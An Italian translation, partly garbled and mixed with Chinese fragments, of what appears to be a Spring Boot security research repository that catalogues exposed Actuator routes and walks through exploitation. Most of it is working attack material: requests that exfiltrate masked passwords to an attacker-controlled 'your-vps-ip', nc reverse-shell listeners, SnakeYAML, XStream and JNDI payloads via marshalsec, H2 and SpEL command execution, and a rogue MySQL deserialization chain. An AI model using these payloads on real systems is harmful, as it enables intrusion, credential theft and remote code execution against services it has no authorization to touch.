
Materiali di studio sulle vulnerabilità di SpringBoot, raccolta di metodi e tecniche di sfruttamento, check list per valutazione di sicurezza black-box
Raccolta di materiali di apprendimento sulle vulnerabilità correlate a Spring Boot, tecniche e trucchi di sfruttamento, check list per valutazione di sicurezza black-box
⚠️ Tutti i contenuti di questo progetto sono destinati esclusivamente a scopi di ricerca sulla sicurezza e test autorizzati. I responsabili non si assumono alcuna responsabilità per danni derivanti da un uso improprio o abuso di questo progetto
/manage, /management o nomi correlati all'app del progetto come percorso radice di Spring/, mentre la versione 2.x usa uniformemente /actuator come percorso iniziale/env, a volte vengono modificati dai programmatori, ad esempio in /appenvSpring Cloud è una serie di framework costruita su Spring Boot per sviluppare servizi e fornisce funzionalità comuni come configurazione gestita, registrazione e scoperta di servizi, routing intelligente, aiutando lo sviluppo rapido di sistemi distribuiti.
| Dipendenza | Elenco versioni e versioni dei componenti dipendenti |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| Suffisso versione minore | Significato |
|---|---|
| BUILD-SNAPSHOT | Versione snapshot, codice non fisso, in evoluzione |
Gli sviluppatori non si rendono conto che la divulgazione degli indirizzi può causare rischi per la sicurezza, oppure quando l'ambiente di sviluppo viene cambiato in ambiente di produzione online, i responsabili non modificano i file di configurazione, dimenticano di cambiare la configurazione dell'ambiente, ecc.
Accedere direttamente alle due seguenti route correlate a swagger per verificare se la vulnerabilità esiste:``` /v2/api-docs /swagger-ui.html
Alcune altre route di interfaccia relative a swagger, swagger codegen, swagger-dubbo che potresti incontrare:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Inoltre, le seguenti rotte correlate a Spring Boot Actuator talvolta includono (o consentono di dedurre) alcune informazioni sugli indirizzi degli endpoint, ma non è possibile ottenere informazioni sui parametri:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**Generalmente, esporre le interfacce e le informazioni sui parametri di un'applicazione Spring Boot non può essere considerato una vulnerabilità**, ma dal punto di vista della "**sicurezza predefinita**", non esporre queste informazioni è più sicuro.
Per un attaccante, di solito esaminano attentamente le interfacce esposte per aumentare la conoscenza del sistema aziendale, e allo stesso tempo controllano se il sistema applicativo presenta vulnerabilità come accesso non autorizzato, superamento dei privilegi e altri tipi di vulnerabilità aziendali.
### 0x02: Route esposte a causa di una configurazione inadeguata
> Principalmente perché i programmatori durante lo sviluppo non si rendono conto che esporre le route può comportare rischi per la sicurezza, oppure non seguono il processo standard di sviluppo, dimenticando di modificare/cambiare la configurazione dell'ambiente di produzione prima del rilascio
Fare riferimento a [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) e [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), le route interne predefinite che potrebbero essere esposte a causa di una configurazione inadeguata includono:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Tra le interfacce più importanti per la ricerca di vulnerabilità ci sono:
/env、/actuator/env
Una richiesta GET a /env può direttamente divulgare variabili d'ambiente, indirizzi di rete interna, nomi utente dalla configurazione, ecc.; quando i nomi delle proprietà non sono standardizzati (ad esempio password scritte come psasword, pwd), possono essere esposte in chiaro.
Inoltre, con una certa probabilità, è possibile impostare alcune proprietà tramite una richiesta POST a /env, innescando indirettamente vulnerabilità RCE correlate; allo stesso tempo, è possibile ottenere in chiaro password, chiavi e altre informazioni sensibili mascherate con asterischi.
/refresh、/actuator/refresh
Dopo aver impostato le proprietà tramite una richiesta POST a /env, è possibile combinarla con una richiesta POST a /refresh per aggiornare le variabili delle proprietà e innescare vulnerabilità RCE correlate.
/restart、/actuator/restart
Questo endpoint è esposto meno frequentemente; può essere combinato con una richiesta POST a /env per impostare proprietà, seguita da un POST a per riavviare l'applicazione e innescare vulnerabilità RCE.
Quando si accede all'endpoint
/env, Spring Actuator sostituisce i valori delle proprietà i cui nomi contengono parole chiave sensibili (come password, secret) con asterischi (*) per mascherare i dati.
/jolokia o /actuator/jolokiajolokia-core (requisiti di versione attualmente sconosciuti)Eseguire una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato con asterischi che si desidera ottenere.
Sostituire security.user.password nell'esempio seguente con il nome effettivo della proprietà da ottenere e inviare direttamente la richiesta; il valore in chiaro sarà contenuto nella chiave value della risposta.
org.springframework.bootIn realtà invoca il metodo getProperty dell'istanza della classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environmentIn realtà è una chiamata al metodo getProperty dell'istanza della classe org.springframework.cloud.context.environment.EnvironmentManager
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
La situazione specifica del target e gli Mbean esistenti potrebbero differire; è possibile cercare parole chiave come
getPropertyper trovare metodi richiamabili.
/env del sito target/env del sito target/refresh del sito target per aggiornare la configurazione (è presente la dipendenza spring-boot-starter-actuator)spring-cloud-starter-netflix-eureka-clientEffettuare una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato dall'asterisco *.
Sul server esterno controllato, mettersi in ascolto sulla porta 80:```bash nc -lvk 80
##### Passo 3: Impostare la proprietà eureka.client.serviceUrl.defaultZone
Sostituire `security.user.password` nel seguente `http://value:${security.user.password}@your-vps-ip` con il nome della proprietà corrispondente mascherata da asterisco * che si desidera ottenere;
`your-vps-ip` sostituire con l'indirizzo IP reale del proprio server esterno.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Passo quattro: Aggiorna la configurazione
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Passo 5: Decodifica dei valori degli attributi
Normalmente, a questo punto il server in ascolto di nc riceverà la richiesta proveniente dal target, contenente un campo `Authorization` simile al seguente:```
Authorization: Basic dmFsdWU6MTIzNDU2
Decodificando in base64 la parte dmFsdWU6MTIzNDU2 si ottiene un valore in chiaro simile a value:123456, dove 123456 è il valore dell'attributo in chiaro prima della mascheratura con asterisco *.
/env per indurre il target a effettuare una richiesta HTTP arbitraria verso un indirizzo specificato in Internet.Fare riferimento all'issue-1 proposta da UUUUnotfound. Durante il processo in cui il target effettua una richiesta HTTP esterna, è possibile utilizzare segnaposto nel percorso URL per estrarre dati.
Effettuare una richiesta GET all'interfaccia /env o /actuator/env del target, cercare la parola chiave ****** e trovare il nome dell'attributo corrispondente al valore mascherato con asterisco * che si desidera ottenere.
Sul server esterno che controlli, mettiti in ascolto sulla porta 80:```bash nc -lvk 80
##### Passo tre: attivare richiesta http esterna
- `spring.cloud.bootstrap.location` metodo (**applicabile anche a** casi in cui i dati in chiaro contengono caratteri URL speciali)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` (**non applicabile** per casi in cui i dati in chiaro contengono caratteri url speciali)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Passo 4: Aggiornamento della configurazione
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: Ottenere il testo in chiaro delle password oscurate con asterischi (Metodo 4)
> Quando si accede all'endpoint /env, Spring Actuator sostituisce con asterischi (*) i valori delle proprietà i cui nomi contengono parole chiave sensibili (come password, secret) per oscurarli.
#### Condizioni di sfruttamento:
- Possibilità di effettuare una richiesta GET al target sugli endpoint `/heapdump` o `/actuator/heapdump`
#### Metodo di sfruttamento:
##### Passo 1: Trovare il nome della proprietà desiderata
Effettuare una richiesta GET al target sugli endpoint `/env` o `/actuator/env`, cercare la parola chiave `******` e trovare il nome della proprietà corrispondente al valore oscurato con asterischi che si desidera ottenere.
##### Passo 2: Scaricare le informazioni heap della JVM
> La dimensione del file heapdump scaricato è tipicamente compresa tra 50 MB e 500 MB, ma talvolta può superare i 2 GB.
Effettuare una richiesta `GET` al target sugli endpoint `/heapdump` o `/actuator/heapdump` per scaricare le informazioni in tempo reale dello heap JVM dell'applicazione.
##### Passo 3: Ottenere la password in chiaro dallo heap JVM utilizzando MAT
Fare riferimento al metodo descritto nell'[articolo](https://landgrey.me/blog/16/), utilizzando l'istruzione **OQL** dello strumento [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
Ad esempio, se si scopre che accedendo a /article?id=xxx , la pagina restituisce un errore con codice di stato 500: Whitelabel Error Page, allora tutti i payload successivi verranno provati sul parametro id.
Inserire /article?id=${7*7} . Se la pagina di errore mostra il valore di 7*7, cioè 49, calcolato e visualizzato nella pagina di errore, allora si può confermare che il target ha una vulnerabilità di injection di espressioni SpEL.
Convertire il formato stringa in byte java 0x** per eseguire codice arbitrario:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Esegui il comando `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${} viene interpretato ed eseguito come espressione SpEL dal metodo resolvePlaceholder della classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, provocando una vulnerabilità RCE SpringBoot SpEL表达式注入漏洞-分析与复现
repository/springboot-spel-rce
Accesso normale:``` http://127.0.0.1:9091/article?id=66
Esegui il comando `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env del sito target per impostare proprietà/refresh del sito target per aggiornare la configurazione (presenza della dipendenza spring-boot-starter-actuator)spring-cloud-starter del target < 1.3.0.RELEASESulla macchina VPS sotto il proprio controllo, avviare un semplice server HTTP, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Nel root del sito web posizionare il file con estensione `yml` `example.yml`, il cui contenuto è il seguente:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Nella directory radice del sito, posiziona un file con estensione jar chiamato example.jar, il cui contenuto è il codice da eseguire. Per la scrittura e la compilazione del codice, fare riferimento a yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
Spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location viene impostata sull'URL di un file yml malevolo esternojava.net.URL per scaricare il file jar malevolo dal server HTTP remotojavax.script.ScriptEngineFactory e istanziataNote di apprendimento su Exploit Spring Boot Actuator e Spring Cloud Env
repository/springcloud-snakeyaml-rce
Accesso normale:``` http://127.0.0.1:9092/env
### 0x03:eureka xstream deserialization RCE
#### Condizioni di sfruttamento:
- Può inviare una richiesta POST all'endpoint `/env` del sito target per impostare proprietà
- Può inviare una richiesta POST all'endpoint `/refresh` del sito target per aggiornare la configurazione (con dipendenza `spring-boot-starter-actuator`)
- Il `eureka-client` utilizzato dal target è < 1.8.7 (solitamente incluso nella dipendenza `spring-cloud-starter-netflix-eureka-client`)
- Il target può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna)
#### Metodo di sfruttamento:
##### Passo 1: Allestire un sito web che risponde con un payload XStream malevolo
Fornire un [esempio di script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) che dipende da Flask e soddisfa i requisiti, il cui scopo è utilizzare il Python presente sulla macchina Linux target per ottenere una reverse shell.
Eseguire lo script sopra nel proprio server controllato usando Python, e modificare l'indirizzo IP e la porta della reverse shell nello script in base alla situazione reale.
##### Passo 2: Ascoltare la porta per la reverse shell
Generalmente si usa netcat (nc) per ascoltare una porta, in attesa della reverse shell.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone viene impostata su un URL malevolo di un server eureka esterno.Spring Boot Actuator: da accesso non autorizzato a gettare una shell
repository/springboot-eureka-xstream-rce
Accesso normale:``` http://127.0.0.1:9093/env
### 0x04:jolokia logback JNDI RCE
#### Condizioni di sfruttamento:
- Il sito di destinazione ha un endpoint `/jolokia` o `/actuator/jolokia`
- La destinazione utilizza la dipendenza `jolokia-core` (requisito di versione ancora sconosciuto) e nell'ambiente sono presenti MBean correlati
- La destinazione può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna)
- L'iniezione JNDI normale è influenzata dalla versione JDK del target, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), ma gli ambienti correlati possono essere bypassati
#### Metodo di sfruttamento:
##### Passo 1:Controllare gli MBeans esistenti
Accedere all'endpoint `/jolokia/list` e verificare se esistono `ch.qos.logback.classic.jmx.JMXConfigurator` e la parola chiave `reloadByURL`.
##### Passo 2:Ospitare il file xml
Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:```xml
##### Passo tre: preparare il codice Java da eseguire
Scrivere il [codice Java di esempio](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) ottimizzato per ottenere una shell inversa, `JNDIObject.java`,
compilare utilizzando un metodo compatibile con versioni JDK inferiori:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Quindi copiare il file JNDIObject.class generato nella directory root del sito web del Passo 2.
Scaricare marshalsec e utilizzare il comando seguente per configurare il servizio LDAP corrispondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Passo 5: Ascoltare la porta per la reverse shell
Generalmente si usa nc per mettersi in ascolto su una porta, in attesa di una reverse shell```bash
nc -lv 443
⚠️ Se il target ha richiesto con successo
example.xmle anchemarshalsecha ricevuto la richiesta dal target, ma il target non ha richiestoJNDIObject.class, è probabile che la versione JDK dell'ambiente target sia troppo alta, causando il fallimento dell'attacco JNDI.
Sostituisci con l'indirizzo IP effettivo del tuo VPS e accedi all'URL per attivare la vulnerabilità:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Principio della vulnerabilità:
1. L'accesso diretto all'URL che attiva la vulnerabilità equivale a chiamare il metodo `reloadByURL` della classe `ch.qos.logback.classic.jmx.JMXConfigurator` tramite jolokia
2. La macchina target richiede l'URL del file di configurazione del log esterno e ottiene il contenuto di un file XML malevolo
3. La macchina target analizza il file XML usando `saxParser.parse` (questo causa la vulnerabilità XXE)
4. Nel file XML, sfrutta il tag `insertFormJNDI` della dipendenza `logback`, impostando l'indirizzo del server JNDI esterno
5. La macchina target richiede il server JNDI malevolo, causando un'iniezione JNDI e portando a una vulnerabilità RCE
#### Analisi della vulnerabilità:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Ambiente della vulnerabilità:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Accesso normale:```
http://127.0.0.1:9094/env
/jolokia o /actuator/jolokiajolokia-core (la versione richiesta è sconosciuta al momento) e nell'ambiente sono presenti i relativi MBeanAccedere all'endpoint /jolokia/list per verificare se esistono parole chiave type=MBeanFactory e createJNDIRealm.
Scrivere il codice Java esempio JNDIObject.java ottimizzato per ottenere una reverse shell.
Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando possibilmente porte comuni per servizi HTTP (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copia il file `.class` compilato nel **Passo 2** nella directory radice del server HTTP.
##### Passo 4: Impostare un servizio RMI malevolo
Scarica [marshalsec](https://github.com/mbechler/marshalsec) e usa il comando seguente per impostare il corrispondente servizio RMI:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Generalmente si usa nc per ascoltare una porta in attesa del reverse shell.```bash nc -lvp 443
##### Passo sei: Inviare il payload malevolo
Modifica l'indirizzo di destinazione, l'indirizzo RMI, la porta e altre informazioni nello script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) in base alla situazione reale, quindi eseguilo sul server che controlli.
#### Principio della vulnerabilità:
1. Utilizzare jolokia per chiamare createJNDIRealm e creare un JNDIRealm
2. Impostare l'indirizzo connectionURL sull'URL del servizio RMI
3. Impostare contextFactory su RegistryContextFactory
4. Fermare il Realm
5. Avviare il Realm per attivare l'iniezione JNDI all'indirizzo RMI specificato, causando una vulnerabilità RCE
#### Analisi della vulnerabilità:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Ambiente della vulnerabilità:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Accesso normale:```
http://127.0.0.1:9094/env
/env del sito target per impostare le proprietà/restart del sito target per riavviare l'applicazionecom.h2database.h2 (versione richiesta attualmente sconosciuta)⚠️ Il metodo 'T5' nel payload sottostante deve essere rinominato (es. T6) dopo ogni esecuzione del comando per poter essere ricreato e riutilizzato, altrimenti la vulnerabilità non verrà attivata al successivo riavvio dell'applicazione
spring 1.x (esecuzione di comandi senza output)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(esecuzione di comandi senza riscontro)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query viene impostata a un'istruzione SQL dannosa CREATE ALIAS per creare una funzione personalizzata.connectionTestQuery del pool di connessioni HikariCP, definendo un'istruzione SQL eseguita prima di stabilire una nuova connessione al database.remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
Accesso normale:``` http://127.0.0.1:9096/actuator/env
### 0x07:console di database h2 JNDI RCE
#### Condizioni di sfruttamento:
- Presenza della dipendenza `com.h2database.h2` (versione richiesta attualmente sconosciuta)
- Abilitazione della console h2 nella configurazione di Spring `spring.h2.console.enabled=true`
- Il target deve poter effettuare richieste verso il server dell’attaccante (richieste verso rete esterna possibili)
- L’iniezione JNDI è influenzata dalla versione JDK del target: jdk < 6u201/7u191/8u182/11.0.1 (modalità LDAP)
#### Metodi di sfruttamento:
##### Passo 1: visitare la route per ottenere il jsessionid
Accedere direttamente alla route predefinita della console h2 del target `/h2-console`, il target reindirizzerà alla pagina `/h2-console/login.jsp?jsessionid=xxxxxx`. Registrare il valore effettivo di `jsessionid=xxxxxx`.
##### Passo 2: preparare il codice Java da eseguire
Scrivere un [codice Java di esempio](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) ottimizzato per ottenere una shell inversa `JNDIObject.java`,
compilare in modo compatibile con versioni JDK più vecchie:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Copiate il file JNDIObject.class generato nella directory radice del sito web del Passaggio 2.
Sulla macchina VPS sotto il tuo controllo, avvia un semplice server HTTP utilizzando possibilmente porte di servizio HTTP comuni (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copia il file class compilato nel **passaggio 2** nella directory root del server HTTP.
##### Passaggio 4: Imposta il servizio ldap dannoso
Scarica [marshalsec](https://github.com/mbechler/marshalsec) e utilizza il seguente comando per impostare il servizio ldap corrispondente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Generalmente si usa nc per ascoltare su una porta, aspettando una reverse shell```bash nc -lv 443
##### Passo 6: Invio del pacchetto per attivare l'iniezione JNDI
In base alla situazione reale, sostituisci i seguenti dati: `jsessionid=xxxxxx`, `www.example.com` e `ldap://your-vps-ip:1389/JNDIObject````bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + H2 Database JNDI Injection
repository/springboot-h2-database-rce
Accesso normale:``` http://127.0.0.1:9096/h2-console
### 0x08: deserializzazione RCE di mysql jdbc
#### Condizioni di sfruttamento:
- Può inviare una richiesta POST all'endpoint `/env` del sito target per impostare le proprietà
- Può inviare una richiesta POST all'endpoint `/refresh` per aggiornare la configurazione (è presente la dipendenza `spring-boot-starter-actuator`)
- Nell'ambiente target è presente la dipendenza `mysql-connector-java`
- Il target può effettuare richieste verso il server dell'attaccante (le richieste possono uscire verso la rete esterna)
#### Metodo di sfruttamento:
##### Passo 1: Verificare le dipendenze dell'ambiente
Inviare una richiesta GET a `/env` o `/actuator/env`, cercare la parola chiave `mysql-connector-java` nelle variabili d'ambiente (classpath) e annotare il numero di versione (5.x o 8.x);
Cercare e osservare se nelle variabili d'ambiente sono presenti dipendenze comuni di gadget di deserializzazione, come `commons-collections`, `Jdk7u21`, `Jdk8u20`, ecc.;
Cercare la parola chiave `spring.datasource.url`, annotare il suo `value`, per facilitare il successivo ripristino del normale valore dell'URL JDBC.
##### Passo 2: Allestire un server MySQL rogue malevolo
Eseguire lo script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) sul server controllato e utilizzare [ysoserial](https://github.com/frohoff/ysoserial) per personalizzare il comando da eseguire:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Genera il file payload deserializzato payload.ser nella stessa directory dello script, per essere utilizzato dallo script.
⚠️ Modificare questa proprietà renderà temporaneamente inutilizzabili tutti i normali servizi di database del sito, influenzando le operazioni aziendali. Procedere con cautela!
Per la versione 5.x di mysql-connector-java, imposta il valore della proprietà come:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java versione 8.x imposta **valori delle proprietà** come:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Provare ad accedere all'interfaccia di query del database conosciuta del sito web, ad esempio: /product/list, o cercare altri modi per attivare attivamente una query del database sul sito sorgente, quindi la vulnerabilità verrà attivata
Dopo aver completato lo sfruttamento della vulnerabilità di deserializzazione, utilizzare il metodo del Passo 3 per ripristinare il valore value originale di spring.datasource.url registrato nel Passo 1
spring.datasource.url viene impostato su un URL JDBC MySQL malevolo esternospring.datasource.urlmysql-connector-java dipendente dall'obiettivo deserializzerà il gadget configurato, causando una vulnerabilità RCE New-Exploit-Technique-In-Java-Deserialization-Attack
È necessario configurare
spring.datasource.url,spring.datasource.username,spring.datasource.passwordinapplication.propertiesper garantire una normale connessione al database MySQL, altrimenti il programma genererà un errore e uscirà all'avvio
repository/springboot-mysql-jdbc-rce
Accesso normale:``` http://127.0.0.1:9097/actuator/env
Dopo aver inviato il payload, si attiva la vulnerabilità:```
http://127.0.0.1:9097/product/list
/env del sito target per impostare proprietà/restart del sito target per riavviare l'applicazionejavax.naming.spi.ObjectFactory, altrimenti causerà un'uscita anomala del programmaAvviare un semplice server HTTP sulla propria macchina VPS, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以 `xml` 结尾的 `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
Posiziona il file `example.xml` con estensione `xml` nella directory principale. Il contenuto effettivo deve essere determinato in base al servizio JNDI utilizzato al passo 2:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Fare riferimento all'articolo, modificare JNDIExploit e avviarlo (si possono usare anche altri metodi):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Passo 3: Imposta la proprietà logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Passo quattro: riavviare l'applicazione
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principio della vulnerabilità:
1. La macchina target imposta l'URL del file di configurazione del log di logback tramite la proprietà `logging.config`
2. Dopo il riavvio dell'applicazione con `restart`, il programma richiede l'URL per ottenere il contenuto del file XML malevolo
3. La macchina target analizza il file XML utilizzando `saxParser.parse` (questo causa la vulnerabilità XXE)
4. Nel file XML, utilizzando il tag `insertFormJNDI` della dipendenza `logback`, viene impostato l'indirizzo del server JNDI esterno
